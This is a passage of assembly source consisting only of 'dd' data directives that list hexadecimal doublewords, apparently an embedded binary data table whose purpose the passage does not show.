0F13CC038h, 6844F940h, 66011C4Eh dd 10542E50h, 5CA05344h, 0F498F090h, 1F52949Ch, 9FA89FA4h dd 92B085ACh, 0BCA203B4h, 5AF1C0C9h, 0F3FF31C8h, 0DCEBF0C9h dd 10010F1Bh, 83840B3Ah, 0DC42C29h, 3D604D1h, 803E873Ch dd 5869A02Bh, 0C5E1BF00h, 0D2F1CEE9h, 0FEBC7E38h, 0F3EE1EBAh dd 3F0280F2h, 66013142h, 0C8986C00h, 37DEFB50h, 741A0172h dd 0D7C4A78h, 69B03084h, 0D62D8A0Fh, 0EBFB0007h, 5407849h dd 0F03C6E68h, 4BC68070h, 0E7B0212Dh, 0B745AB03h, 98D662D3h dd 2DEFE2E3h, 6F004EE8h, 0F8895961h, 587E3C5Ch, 7E5C59h dd 3D0283DDh, 0AB9322h, 0A73E19A0h, 27E8CAE4h, 33033FE2h dd 67521687h, 0A593A873h, 700827B5h, 0E000E674h, 0C77230F8h dd 68D4004Dh, 5731130Eh, 0C1016349h, 0B3E182A2h, 7F49038h dd 4E560032h, 331883D7h, 88739250h, 0B300667Ah, 8FD2300Fh dd 0FBCFE6h, 0EC2708C9h, 0E0224418h, 0B62C4BE4h, 9F005CAAh dd 836F9769h, 0F39D1C6Ch, 0F2AD80A7h, 4A0AF8B8h, 3C3EC57Dh dd 0BFD9BFD3h, 51ECBBE1h, 0AA9D60C0h, 74077202h, 6015760Dh dd 5217A74h, 2F7E297Ch, 0C0D11CCFh, 274BC945h, 0E7395DF6h dd 0F4720065h, 8AF8927Eh, 0AEF20049h, 0FCBAEA24h, 13F8BCC2h dd 1682DD01h, 49B8D8F8h, 583BDAD4h, 3D385225h, 0D64B2483h dd 0C05E639Fh, 0F79E90Fh, 8F874F7Fh, 0C09DCF8Fh, 49B592A7h dd 61C303CCh, 0D7F9D1B0h, 0E3A3DD93h, 0D06CF3B0h, 12E38h dd 1E13E2A6h, 14FDC17h, 28823302h, 0F8508F38h, 39000A16h dd 0C46EC31Ch, 163A18B0h, 10E4D1h, 142E8615h, 7F0B96EEh dd 0D6BC83h, 0E4CF3D80h, 3E2D000Bh, 36740417h, 29029EB0h dd 3A533F39h, 35E0FF5Fh, 44001C7Eh, 0F9C0C30h, 398595DBh dd 8C80FF60h, 86B18284h, 44070292h, 0E15C1449h, 88F981AFh dd 1670092Ah, 4F221D50h dd 0A08EC798h, 33E190E0h, 3400C213h, 59EC4AC6h, 0E6195D6h dd 72692CD8h, 50CEAEC0h, 2CB0AD84h, 52382700h, 0E05A3E05h dd 92620026h, 5B6A7EBAh, 0EA090B72h, 0EC617Ah, 5FE98643h dd 7BE0024h, 0FE4AC90h, 17FE13E8h, 0BA3E04B8h, 0D33E6782h dd 0E01CD722h, 9D2730h, 92AA1DA6h, 89BE5EA7h, 2F2B3E02h dd 60A414C0h, 1BD3A3Dh, 9425FF4h, 0EC51019Ch, 0A0006012h dd 6CE868E6h, 0FC3108CEh, 32350087h, 33092139h, 0B100C90Dh dd 5F343CD0h, 0F40B40h, 0C832E1C0h, 765E41EAh, 257AC90Bh dd 0D3430462h, 0F8838580h, 0F6743FACh, 0B914FA80h, 1790BD38h dd 80623900h, 793A7578h, 0E87D03E4h, 5D3B2659h, 0C3B8B4CBh dd 0A300B734h, 3D43B0BBh, 207E49Fh, 3A1A3E48h, 2740240Fh dd 1F71FAACh, 127E23ECh, 0C326161Dh, 0F3A2EF00h, 3A508084h dd 5780BC08h, 8AB8AE30h, 3101430Bh, 0E1DA424Fh, 87CC7B9Ch dd 0F19402E9h, 0BF3C34A6h, 0DE7459D8h, 997F500h, 7BBCC95Ah dd 3C9100D9h, 3FAF3E6Ch, 0F3002DE7h, 0A012A205h, 0EC249Ah dd 0F42CF028h, 0F2AAA338h, 2A680E0Bh, 96058347h, 713F898h dd 12140037h, 3FB24BDCh, 5E006C24h, 0FC7778E0h, 88BE84h dd 0CF39C307h, 0E147D627h, 0B8EB6400h, 3A080E40h, 4E7D1Ah dd 3C703389h, 787C527Ah, 248E7E39h, 49000CBDh, 0E03A2CC7h dd 0F5F2583Bh, 0A007D148h, 703D0E20h, 0D74BCB3Eh, 0F6542702h dd 63A5FC87h, 0BC28F892h, 44F20E10h, 0D8C0A135h, 9D301411h dd 1D720201h, 0C0DC9697h, 732A260h, 924FE443h, 7A6E80D8h dd 94004974h, 60CFD6D0h, 5C9E7Ch, 5880DA12h, 9A1B340Fh dd 3A51F60Eh, 60F8E0B2h, 72FC5C90h, 98B5A7Fh, 908FAAF3h dd 0CEBAE680h, 4A125276h, 1903825Fh, 0F3B0C324h, 9854F0D6h dd 37E0018Eh, 5C84204Ch, 0FC38204Eh, 0D0B0EA04h, 81EA6894h dd 213B121Fh, 34DF204Fh, 0CEF0B603h, 1F9E9Ch, 1B3C10FCh dd 43FA0729h, 0F04F6500h, 7BF86E6Ch, 9C3200B8h, 1F06267Ch dd 0BF0293B3h, 0F3DE7283h, 0FAD668E6h, 5D6A7A70h, 0BB00D011h dd 0DF4AD378h, 0FE24960Fh, 0CC00FCC4h, 8C8170B0h, 9F0100CEh dd 0B8C9AB30h, 1A03093Ah, 5E08D00Fh, 5D78A835h, 2469000Bh dd 0FCBC7AD2h, 0A1E4993Fh, 87A92501h, 0C5E7B63Ah, 0EE4CDC8h dd 83A295D5h, 3F2F7A0h, 740068F0h, 783E9822h, 574946h dd 259B3FA8h, 41E462A5h, 0F8FEAC00h, 9354338Fh, 0ECEA01F6h dd 3904F0F5h, 6DCF4034h, 8100752Dh, 433509E8h, 1F284FC9h dd 406E3CAAh, 0A8D0877Fh, 0E401B6E7h, 84BA85BFh, 26CCA0DEh dd 167C0094h, 28AED94Ch, 9302F27Eh, 0F9B0A6C9h, 761350B6h dd 2DED78E1h, 0CCDEF8F7h, 9E0E0D04h, 324EEE0h, 0EA924210h dd 0C08C5056h, 23745A94h, 0F2906603h, 0DBA27099h, 0F8C5EAB5h dd 0CDB8FDh, 0FA25A8E8h, 0C90C6E61h, 20D1140Fh, 2FE140D9h dd 7F13BE9h, 6C0B2B44h, 7BC0BE58h, 0FCB778A0h, 79DC300h dd 0F4E7EB88h, 0AC0400E4h, 0CF738E3Eh, 8B000F80h, 78D09349h dd 22A95Bh, 9CD8D39Ah, 7F72DA98h, 768F7400h, 0BCB5AA2h dd 8C084C78h, 42D11E00h, 1D880E2Eh, 9F294E00h, 3D4D3CFBh dd 5D3E0157h, 0E4876827h, 938FC882h, 0F3B2660Eh, 0F0CD45C2h dd 0DA4F1FEAh, 0BAE09E1Bh, 0A5005787h, 7B5AE067h, 1C1F4CBCh dd 80E79FA4h, 0A0FD92F3h, 0B2E4219Eh, 96581D03h, 0D0C4C264h dd 58B88EC9h, 6C005BF9h, 0E3F2E04h, 8C059230h, 0F4AF56A0h dd 48058F80h, 0C8B23AF6h, 0B4398900h, 24C433CEh, 742EA201h dd 0A044128Eh, 5FB26660h, 0B44F0EAEh, 0E9C0BE8Eh, 0E310413h dd 28050790h, 4BF045ECh, 0A2923C80h, 0F6F034Fh, 88CF815Ch dd 0ADCBA390h, 27F06112h, 0E13E5D80h, 0E95101FAh, 3F6A3C5Ah dd 2B78C96Dh, 598D1609h, 0A2B11214h, 3FDA3F94h, 58FC00F2h dd 3A1939ECh, 443B2C2Fh, 623D0049h, 2437A27h, 8A34813Fh dd 96351EC9h, 973E803Ch, 95AAC277h, 0B87E7170h, 0C3E203AAh dd 6F2FD30h, 0AF7462D8h, 9B74E04h, 27B0D044h, 0F9E4E5h dd 5F1DFF4Ch, 8952640Eh, 560241EAh, 3881E975h, 2EB541Ch dd 22C12EB3h, 428336E0h, 21A3181Eh, 35C32AC0h, 0F583BD2h dd 0F575AF8h, 92CF7DE0h, 610FAAC9h, 0F9BDE8h, 0FCF4BC34h dd 38390008h, 3B2D3A12h, 4B003C43h, 9F905524h, 1274976Ch dd 2C918C2h, 0E2E112C4h, 390CE440h, 3C70142Ch, 0DA834500h dd 0FE60D353h, 12F0036Ch, 814FEEB8h, 0F3D80AE8h, 0F100DD72h dd 70D0FDF2h, 4B7445B0h, 5B4EC03Eh, 5D00667Ah, 803F7E6Fh dd 0EC18B25h, 0A6F99FCEh, 0E28B043h, 0E005C2D9h, 1E0392D8h dd 20B449EAh, 0C02CEA3Bh, 0F416Fh, 61574B4Dh, 93F985FAh dd 2C6440C0h, 197ECh, 173C07A2h, 41D122C9h, 2452D900h dd 0C4926FC8h, 0C29D0F49h, 0DA45D63Fh, 996E80CCh, 9F0FA34Eh dd 0BD3C3Bh, 0C1C725C2h, 0F9D11C60h, 3ADB9DD6h, 3E6AF880h dd 83747972h, 0BA934800h, 133F0AC2h, 5FE870h, 767C0F45h dd 0A68F854Fh, 3E3CF39h, 900EDCF5h, 70409801h, 4E0F018Eh dd 582D8921h, 0E0B4F5FAh, 760EC359h, 4E86F379h, 0F29F808Eh dd 4DECE9A4h, 0F13082B9h, 72310C89h, 20491600h, 3D323CBEh dd 347E23Eh, 6D27663Fh, 99F85EECh, 0AC3825C0h, 6005070Bh dd 0E6C593CEh, 2504180h, 0C314034Fh, 5DB3285Ah, 0B2D381A8h dd 0F2BBE309h, 5CD880E6h, 486E2D2Ah, 580570FAh, 0F0817C90h dd 4E019555h, 0BF5E0F9Eh, 0D6C9C9CFh, 72C2DECCh, 0FA702C60h dd 765D06AEh, 27008D7Bh, 0D9F641C1h, 7938E9F9h, 4B037946h dd 7E5FCEEh, 853D7E58h, 2E0591B0h, 16A101ABh, 0FCCFCE20h dd 92F1C8DFh, 1101CC7Ah, 84321E36h, 0F840563Bh, 22824Ch dd 4F2A7063h, 8EF60F7Ch, 98CF39h, 0C2A8CBA1h, 3A94E124h dd 27AE38D3h, 1E200FC5h, 0B3329201h, 0F0C14768h, 0F1A0E288h dd 0C21F1200h, 0DF27C791h, 0E2F8F641h, 72380F07h, 83E04E15h dd 64C35CD8h, 0E26FD307h, 0C69049B2h, 924D7F9h, 859FEDD6h dd 5AFE9170h, 8056B03Ah, 0F8A6F490h, 9A94ABh, 0AAA0D813h dd 773A394Eh, 3E1E59F0h, 4C0EC49h, 40900C3Dh, 423000BCh dd 0ADA0997h, 1239E002h, 8E76B857h, 409F84ECh, 98A8BB2Eh dd 6B30FF3Fh, 9E100326h, 5B133C9Dh, 7C27D400h, 6CC7D461h dd 7405EE14h, 0F83B1F84h, 84629F96h, 80F99EBAh, 4E740C38h dd 9D9A2D38h, 6B805678h, 0CFA2E80Fh, 0EECB00E5h, 34030E41h dd 1CF81694h, 1700FDB8h, 4A384929h, 395D9699h, 890083F9h dd 0A1278A68h, 0B17BAC61h, 0D26CCB00h, 6436DE2Eh, 184E00FCh dd 78D82A49h, 3BF01EB8h, 8756C23Bh, 30546C62h, 0C0D375A2h dd 0EB53CAAh, 0E27E0E50h, 95DF140h, 430E2506h, 63AF3487h dd 14A4D9h, 3BA03AACh, 3DB43CA5h, 0DE2CC91Fh, 3EB18404h dd 58882A80h, 0FEDBFEDAh, 1E3F4DFh, 0A861E725h, 71F3F9EFh dd 6CFBD038h, 70EFA05h, 0FD000D3Fh, 37CF258Eh, 4F3D380Fh dd 1E558F9Eh, 0C96D8067h, 4EC05881h, 50839502h, 74C8F3BAh dd 80EB1D7Bh, 0B004F7FAh, 0E4000982h, 1B11C4F1h, 3C533Bh dd 3E5B3D57h, 4E63265Fh, 0C26B9200h, 50698074h, 0C4C2A09Ch dd 36AF4B8h, 0F6C97831h, 1000D9BDh, 2775760Bh, 64B5E0h dd 3ADCAC4Dh, 1C5A2472h, 351A8500h, 0BC9093A7h, 0DBC600A2h dd 37163896h, 76001D04h, 0C8C50C17h, 8DF40Fh, 6CE1918Bh dd 539DF999h, 0F2A5FC00h dd 0C5FEA7A9h, 0E4D900E7h, 1568F0EDh, 840E879Fh, 8251673Dh dd 0C08CF872h, 8EC19Eh, 90093E82h, 4F92F08Ah, 7C42E6E5h dd 0A27E3A40h, 0C2AA4A00h, 887CEAB2h, 0E0120313h, 5DE84982h dd 987A9CD8h, 7E0EACFAh, 0E0E959C0h, 253A110Eh, 3BFA005Fh dd 3D613C4Dh, 0B27B3E87h, 0E5072D9Eh, 0E4708464h, 1F11B58Ch dd 6CAB9Ch, 9302F624h, 8600C218h, 0C0E48457h, 9085E808h dd 4E5D2C33h, 0B3CF003Eh, 0BB4BB70Fh, 5BA25001h, 0CB4C0BC3h dd 0A4392EDDh, 0FDB0C7Bh, 311EF754h, 2D921C09h, 80418BC9h dd 2171FE4Dh, 33B01F28h, 0D1C300B9h, 344CD8D3h, 0AC394F2Eh dd 36E9A300h, 0EAF8E1EFh, 0BF50002h, 0FFD131FDh, 820787DAh dd 4C35272Dh, 49F044E0h, 4749Fh, 97C2A076h, 87260BB7h dd 0E5A31C00h, 0AFEAB0A7h, 0BAB300FCh, 54BB7E22h, 0C70B9EBFh dd 80508BB5h, 0F34BE1B1h, 3F80561h, 8342092Eh, 23D83E61h dd 0C23B3A84h, 305C8351h, 77937B1Fh, 70980186h, 34AC5D5Eh dd 0CA2D603Fh, 0DE08C102h, 0C0060F2Eh, 580A12h, 4A3074FEh dd 44F6C838h, 0F8919500h, 0FA272B50h, 36A41EFBh, 3A564045h dd 0DC9270E8h, 4AA97400h, 0E0CC5FD5h, 0FD41D6Eh, 810E40D3h dd 0E1ECB1E8h, 9511F003h, 0F0998A04h, 0EC0F5E2h, 9C8F3263h dd 9EA81D60h, 0E30016BAh, 93F726E1h, 41747h, 0F8C26334h dd 9EC669D7h, 95A7C00h, 0A966374Fh, 968500A0h, 6E50920Eh dd 0CE0F7E49h, 602E7824h, 0B08E16AEh, 0F0EB121Ch, 0D2740042h dd 0BC6B4466h, 0DA2E2637h, 0D5D0B8B7h, 4BBEA8h, 3DF28329h dd 0F0E947B2h, 0E68F5E50h, 7EC97305h, 9D87DA70h, 0AB5A9D50h dd 0BE443EC2h, 0D21FA400h, 0F8490D97h, 20E1290Bh, 0FBAE05Bh dd 0CF862C8Ah, 0C9960767h, 0AE24F29Eh, 0BE748E58h, 93FC600h dd 2AE4D68Eh, 3D030013h, 260F097h, 7D003E2Fh, 3F217081h dd 4386C29h, 4C26453Bh, 500ABAEh, 0C811E088h, 39EA015Ch dd 2D663A2Fh, 0A7868076h, 0A8CEBC24h, 3C0F5CDCh, 414F3300h dd 0F07E3409h, 0D85D9C00h, 50BA5CC0h, 953800D7h, 0A0596685h dd 0F8009E1Ch, 0DC1AFCF5h, 3D519D3Eh, 0C58B7B1Dh, 1380E112h dd 5EFCF04Dh, 0E4168800h, 5014C609h, 44762CD8h, 607A013Ch dd 0DC4B7B7Ch, 0DA014A0Eh, 30D0E98Bh, 0EAE41B4Eh, 46CF0034h dd 0CC38C003h, 4B00DD92h, 0B2F0BDE4h, 9E9CA8h, 0D126C26h dd 0E82972E0h, 6A9A3700h, 8549807Ah, 0C72700DAh, 9CC11642h dd 0CC4C68D6h, 0EC80B14h, 727D003Ch, 0BFC9FD8Eh, 2F4DD583h dd 0EF8020E9h, 509BB0E7h, 6898B038h, 101CEA00h, 2F92153Fh dd 0D6282CE0h, 8E9F03FEh, 32B009B6h, 6800C19Ch, 0D136C926h dd 3A49D93Eh, 5E87B228h, 70617F2Fh, 960B3FA0h, 24D8B50Bh dd 0C4B88098h, 0DAC954h, 50859DD3h, 15CAE0DDh, 2931260Fh dd 92626088h, 0AE8276h, 2C7C7E9Eh, 3249017Ah, 4D334200h dd 0EC3C80C9h, 84D7002Fh, 0F6F819DAh, 0C101BC27h, 166EE9D8h dd 0DA300964h, 0B89C0058h, 4C897898h, 1C0091A5h, 4E9D4636h dd 169E5E1Dh, 0B0831E66h, 0A800ACA7h, 746C72BBh, 0E27693h dd 69385C12h, 0B27C2683h, 6600C9E8h, 0F9B4F1A1h, 27BCAh dd 0C390516h, 17A34AC3h, 0C223B300h, 7E06702Fh, 525E0040h dd 0C968660Fh, 36094188h, 0D96C6494h, 69201EBh, 0CC4A74B0h dd 0E6724009h, 3A024200h, 2CC2104Eh, 70E8FC3Ch, 28682641h dd 2A8E3F4Bh, 0FA00D34Ch, 0DD315230h, 34293300h, 84A7672h dd 0AB0C1C0Bh, 0D3E640h, 58C98D5Eh, 880E3C20h, 0A00965E4h dd 0E3603E41h, 6CD0F78Ah, 707D2Dh, 0E498C720h, 232979Ch dd 0DE1C1072h, 0F88045C4h, 620D2F22h, 66E113EAh, 7B980006h dd 0D812EE0Bh, 1A4BF002h, 0E2C63AC3h, 33AEC013h, 0BEE400AFh dd 265081B7h, 3C019335h, 410E251Ch, 0E0306474h, 0E2E80030h dd 9682DC06h, 8600562Dh, 5A2C621Fh, 91DA49Dh, 3CFE81FBh dd 0C8FA4D80h, 1C003E57h, 93713F46h, 0B4E179h, 0F4B12260h dd 0FCC7F8BCh, 58DDFF4Ch, 947C053Ch, 0C3C0FE80h, 901D31h dd 96849754h, 2E08BC1Ah, 25CA6F00h, 40E15E87h, 553800F4h dd 745B7239h, 8F704983h, 3EAE3D00h, 0EAF32CC6h, 1EC001B3h dd 46A2B92h, 0E956E4C1h, 4B00F1E2h, 0F24CE238h, 3824763Bh dd 3D80099Fh, 4E32D847h, 2E00C366h, 0DC94D28Ch, 279C122Ch dd 4DC19E83h, 4A1670F2h, 96B41F07h, 893C2F6h, 22929063h dd 0B29D0043h, 7CD07054h, 0BD007EB8h, 0C53F8917h, 74230B1h dd 7724F080h, 499E00D2h, 0E100D6FAh, 6807E9F5h, 3263A66h dd 3CE42B24h, 0D9B88F3Dh, 2D3E93BCh, 0EC560BA0h, 0B575815Eh dd 0E7F8FA07h, 0F9E405F1h, 0C05D6093h, 856449E8h, 27CA781Eh dd 0A17207C0h, 14E4ACE7h, 0BE76E0BBh, 38B4CE00h, 60A00A17h dd 89951A00h, 311C04B6h, 3C74B8BCh, 4F81613Dh, 0FC5BE434h dd 608E6163h, 0B7E2B0A5h, 98879703h, 93CEE7C4h, 0E4DAA0D5h dd 9CBC01E2h, 5804F32Dh, 2794DC09h, 8C07161Eh, 93FE8FC0h dd 0FE36323Fh, 7E8A3C70h, 3772007Fh, 8640A06Bh, 0A5E21CB4h dd 1DB89D00h, 15F09ECDh, 2FFA002Dh, 8BCA856Ch, 0C80ED4D3h dd 0C03CC1E1h, 3E7C0C92h, 5602C11Dh, 0E4C36296h, 1B0BE0FFh dd 0BE273Fh, 0B64F46DCh, 7449176Ch, 7C5E04D8h, 0C8B3C05Bh dd 401C5070h, 1C014F0h, 0EE300BA3h, 3A7C32h, 0F916640Ch dd 2F34B8FDh, 0C6610500h, 0E177310Dh, 0E3B0086h, 29ED25E0h dd 560028CCh, 2E7353Fh, 741C53Dh, 0FC4992A0h, 0FD51204Dh dd 59008C20h, 611FFA94h, 76593h, 25923B98h, 9A08E002h dd 380A9C00h, 1FEC824Ah, 0F77A48DEh, 987C4B00h, 76165C26h dd 96308312h, 0ACFA4A00h, 12B0D4h, 0BC684FB4h, 7678C0CBh dd 75C85B3Bh, 50F08B00h, 87F84ACAh, 3F032772h, 0C200D4ECh dd 7E265814h, 48204A1Ch, 0F413F68Bh, 28EEE292h, 6000FAB7h dd 68E564E7h, 3E70DE4Ah, 0B9935EE0h, 3EBEA0A8h, 0B41A0F00h dd 6AA7B8C9h, 0C4E400C0h, 0FCCC64E0h, 0C600BAD0h, 0BECBD85Bh dd 0EB250C9h, 40C61F0h, 0C32A08E0h, 14E6104Ch, 0E318D300h dd 0F020F21Ch, 285B0086h, 79FBD0C7h, 580E71D2h, 46FA5CF9h dd 8AE548h, 7CFC78A0h, 8416A29Ch, 8CE8F012h, 13EA5700h dd 0B682B4h, 0CCE058C0h, 88D860C9h, 2305E71Dh, 2D01BC9Fh dd 0C0C83166h, 0C93CCCh, 0F0686F40h, 4F2EFD64h, 81709E3Dh dd 7CECC174h, 84C880F9h, 2FE60078h, 9404418Ch, 65A2E7Ah dd 0E3C0F5C3h, 760CE2C4h, 0E8E2840h, 0DCCFD8E0h, 1CCB405Dh dd 2C5FAA70h, 3C100905h, 94A87C78h, 0E15C8A00h, 74F96C12h dd 84222F00h, 44AE568Ch, 0AAAC01A4h, 0A661B425h, 588240C4h dd 0BF63064h, 0A4701A00h, 0B8E884D2h, 0B8C752Dh, 16FC9462h dd 0B84970h, 0A803A47Dh, 6FB02CC1h, 7BB8F80Bh, 1C4107FEh dd 0A02F3834h, 20704832h, 0F5C5A00h, 6CCB689Ah, 2FF0747Bh dd 0AB63DC79h, 96F441BFh, 0C04630F8h, 8004353Eh, 0E164C611h dd 0FA6CE968h, 0AEE70h, 0E285B778h, 0B9E4BC80h, 0C07C3E01h dd 0C20B9FC8h, 0FAD464F4h, 0DC2D00FAh, 0F1C9FCE5h, 301FD9D2h dd 38800B3Eh, 7C7214D1h, 4FDE00E4h, 0A0E68298h, 120036F4h dd 0B0AA83A8h, 0F2B4F3h, 4F48D0B8h, 96F69FC0h, 10609C00h dd 18888597h, 206A3EB0h, 28068480h, 64E808FDh, 1344BC01h dd 740EF06Ch, 80A8C680h, 88B00F2Fh, 588CC900h, 0DE944FC6h dd 0D08F0E1Eh, 5263D4CBh dd 0E090DC7Eh, 0B00E45Bh, 8650ECAEh, 3F0FF45Eh, 0E80FC76h dd 8490438h, 4A48EE58h, 18F00073h, 0F4561CE2h, 147B01Fh dd 162C9328h, 0D8A4B1AFh, 0E07F3C02h, 87B5440Bh, 75F858h dd 4B854E4h, 602F5C3Fh, 15A00E03h, 85B6AB01h, 3FF013Bh dd 40E86090h, 0EB0E1506h, 87821144h, 2EB590DBh, 4D02E00Ah dd 44BB18DEh, 0DD039029h, 719D2B18h, 33BD8311h, 89AD30D8h dd 832E2FE9h, 3E850F0Eh, 8D183B05h, 5027E030h, 0EC2095FFh dd 60897D31h, 0F88B1BDCh, 0ED669D8Dh, 432D5311h, 797936E8h dd 21FA4228h, 4E7D4457h, 6A49D48Bh, 6A075618h, 10066804h dd 0DF46EAA0h, 4C6D38ABh, 75264268h, 2A453AA3h, 0E853C70Ch dd 7F8B3774h, 0FBD51C8h, 1B41B5E1h, 0ACE2A4F3h, 0A3807623h dd 57E35036h, 850E0E8Dh, 7EF2C51h, 10AC3C0h, 2100409Ch dd 2002B063h, 7F3C9008h, 145200C4h, 4409108Ch, 0D8BD21CCh dd 57E100E0h, 330E0520h, 8500222Ch, 4FF016Fh, 559D8Bh dd 0B0CC02Ah, 0A7A74DBh, 870003ECh, 89195985h, 318DF0h dd 831171B5h, 840FC03Eh, 47D36A1Dh, 468B4043h, 68E4C004h dd 141EFC99h, 9A063850h, 0EC305586h, 8B560D1Fh, 9D0309C5h dd 51A0BB05h, 2F29A03h, 6EBD8880h, 12D0070h, 85FE4C75h dd 8B0F0940h, 0E050033Eh, 370EFF1Eh, 0C30707C6h, 0CF8FD7A7h dd 535651A3h, 83BA00D5h, 0B55506E9h, 33173FE0h, 56000BDBh dd 1A781C03h, 0E83C17ACh, 0E9FA00BBh, 494304D8h, 0EDEB0100h dd 0C3831E29h, 0C6CD0005h, 0FA4C76F3h, 5B070DE0h, 6258595Eh dd 36104837h, 0F90CC1h, 8DA5F302h, 3C0377E1h, 535EA400h dd 809C5088h, 9B853B82h, 7D8A083Bh, 1ED57AB2h, 0FF45C0C1h dd 64E402A9h, 0E10729FEh, 864B5595h, 2B0F1970h, 79D89DD0h dd 0E8C1C200h, 0B88A4610h, 235D0067h, 4C3A6D03h, 0FC0074FFh dd 834E548Bh, 0D17308h, 0ADCA7DACh, 0C107EF66h, 910CEB00h dd 9D7401FBh, 5002070Bh, 0C7033D16h, 2F2CF020h, 0E3001481h dd 79820FFFh, 0E604011Fh, 7E1D79D4h, 390EEEB2h, 8DBD462Dh dd 0B8E20200h, 61DC9ED9h, 128B4B0Ah, 6000E203h, 40C0850Ch dd 1539071h, 0EAC2EB83h, 20C7A2D8h, 26000CF0h, 53073275h dd 29F016h, 4A4D6E04h, 413BB4C7h, 0C403A901h, 66470646h dd 107AD8h, 1B57ED6Ah, 7ED618B7h, 0FA511A00h, 850D41B0h dd 0A49900DBh, 62F759A2h, 802501ECh, 0F0F475h, 5653C543h dd 6500028Ah, 19B5AC7Fh, 0E6E8B850h, 755B0367h, 2A25A66Fh dd 0D28B57E0h, 83659839h, 31342BC7h, 99E9D842h, 4939012Ah dd 37DC3606h, 188EDC53h, 5A247500h, 0C1124AD3h, 140200E2h dd 3F7C0F63h, 835F3C7Bh, 30AE0h, 0D91CA35Ch, 0A1DE1304h dd 0EB5F2300h, 21515A16h, 8177A4h, 8307894Bh, 3704B14Ch dd 0AF32E900h, 4A2D06E7h, 710E892h, 0D9141C0Ah, 0FEEBF0C1h dd 8500BA24h, 0A4506544h, 735B483Dh, 100400C2h, 61022F11h dd 0B81F0875h, 0C402201h, 32BF54Bh, 1C9300C3h, 0B715588Dh dd 0AC005051h, 7656DCD3h, 3942DEBBh, 0A3804825h, 2708ED21h dd 9400DB30h, 641A8B4Ah, 38D83D3Ch, 0C40283D0h, 306A5F10h dd 0E1468961h, 0C9C2301Dh, 2C47F600h, 513C978Ah, 74985Bh dd 43A57729h, 14959FEFh, 4CC2CE01h, 0F4391833h, 0AB10D4h dd 0AC4A4051h, 779F196Eh, 53D51E00h, 56D28D89h, 0E49B00F2h dd 68C598F0h, 0C73BC84Dh, 50D480DAh, 5C9CB6BEh, 31EEE4h dd 13B5A1Fh, 3733888Ah, 0EF60DA00h, 0BB86BC39h, 0E2EE006Fh dd 1072C6DCh, 0AE0096FEh, 24CF0A7Dh, 0ADB14Fh, 4C2A4481h dd 0CDD53940h, 0C8012301h, 79B62C09h, 0BFF1E4h, 17607C0Eh dd 0AB51E0FEh, 8D0061EAh, 1690FBD6h, 2FD240h, 28A1B4D4h dd 587CC109h, 0B8191100h, 98107174h, 0C72A0059h, 0BEBB8531h dd 80009F8Bh, 233935E8h, 37BD87h, 92DF5D63h, 4E4F0372h dd 6D009579h, 57B9D5E4h, 38DEA83h, 82B7CD0Fh, 7C00DBCh dd 0B103FD41h, 87A3972Ah, 8ACFE029h, 48240078h, 0B7EA61E9h dd 0D5EE7649h, 0F768441Dh, 0A1145080h, 0F2C4BC60h, 0C8E0027h dd 0A0656631h, 0BF00174Bh, 3FD6872Ah, 6EEDF1h, 0DC8ED3BCh dd 0AD30EC57h, 0D548E5FAh, 56CB05FDh, 0C3BB4CF1h, 800A1DBh dd 0A575C410h, 8CDBEh, 31E18193h, 42CED970h, 0DE19DD1Fh dd 71959987h, 3F8F1CA0h, 4698003Dh, 0DB31A266h, 50030A8Eh dd 5DA8D0F7h, 59C6D05Ch, 24D51EC2h, 0B842CF0Ch, 0BD49E9C0h dd 8100262Dh, 62CDBB78h, 0A2023h, 0B0FCEC59h, 5C33F086h dd 0D79BE600h, 0ABE21B42h, 411C0060h, 5D740602h, 0F00ECC61h dd 7F834AC6h, 2FA2EC0Eh, 31472075h, 0D55E0Fh, 0B39E8D01h dd 0C78E62D4h, 5A1DCD00h, 0F5B2F9A4h, 0A22F6092h, 1C684ADEh dd 512E1E0Eh, 451A4069h, 0F430F8Ch, 0B82A844Eh, 0FA7B6C20h dd 0B400A860h, 768BC7DFh, 7DB91A0h, 179A270Ah, 487F006Bh dd 0EA038997h, 633644D0h, 1504E083h, 18CECDFh, 35586176h dd 0C46F24BFh, 0E63B5599h, 0EC2B0019h, 17685464h, 0A16A00D0h dd 0BB2624A3h, 0F47C76F0h, 1DAFDB04h, 8280E69Bh, 88662Ah dd 650824C9h, 0E978890Fh, 737938h, 50D74341h, 6EC21Dh dd 69EC54E7h, 1367D3B3h, 3E74EA1Eh, 7B9D3700h, 0CEB45Ch dd 62574738h, 33B5B6E9h, 61B30800h, 31033CF3h, 2BC33A65h dd 27BAAE00h, 116A8B22h, 0D925B300h, 3CA1E837h, 0E4481E5Dh dd 0D29CF6h, 41E2D45Fh, 641C0467h, 0B4FD6F4h, 7FDCC037h dd 1B6C36Eh, 12E357A1h, 0CA01AA54h, 53458EC0h, 4072200h dd 0EC5FD244h, 0D3C80020h, 0A96D7C14h, 2A01D9BCh, 0B851CF3Ch dd 5AC56C31h, 0ED01E0h, 7BCBB39Dh, 69C5ACA6h, 4A6F2500h dd 2565E2Ah, 88F81410h, 1A00E4DAh, 76A73E27h, 1301EB1Bh dd 0C0CE492Ch, 92FCD780h, 15850056h, 19D152BFh, 0B50053D4h dd 0E396C067h, 320482h, 0AA0E3C76h, 0D449596Ch, 771D7C72h dd 4E8F095Ah, 7EC0FD70h, 9207A7B1h, 3FDC3E27h, 0AFE2DD03h dd 70F0B084h, 0AD001881h, 0CF147C9Fh, 0A8C26Dh, 6878AC54h dd 0F73128F3h, 0B033C500h, 9B35B6B1h, 0FC2DE6A8h, 641500C6h dd 0D104CA8Ah, 0D034BE0h, 81242C8Bh, 4FA0BCEDh, 35557BC3h dd 870860ECh, 0C7D7034h, 8000B2FCh, 8846068Ah, 1E024707h dd 9E0575D2h, 0CA129D16h, 500BEF73h, 0C057334Ah, 830F090Dh dd 0B83F62D6h, 0AFC0130Fh, 674E00Bh, 0F87C2B57h, 0BD5F0731h dd 0A061A0EBh, 72C13E4Eh, 0F7E883EAh, 5AB928E1h, 0E0C92120h dd 2BF78B56h, 0A4F3F501h, 0FF58E95Eh, 0C1480282h, 0B2A208E0h dd 31B5E88Bh, 7D183D9Ch, 0C81A7336h, 143F050Eh, 2140410Eh dd 31811F0h, 777FF883h, 2C1A903h, 2CF6155Dh, 0C90033A3h dd 7401E8C0h, 6AD18312h, 0E21CB602h, 5D07FEE7h, 552609B9h dd 82618687h, 797008C2h, 7A8817E1h, 39FE7C5Dh, 38C76AC1h dd 560FDC5Eh, 7574A369h, 1541F361h, 0D636F16h, 65CE468Eh dd 508F0C35h, 9EFF6F8Eh, 450FB863h, 7AF16978h, 53E373F8h dd 8CC67545h, 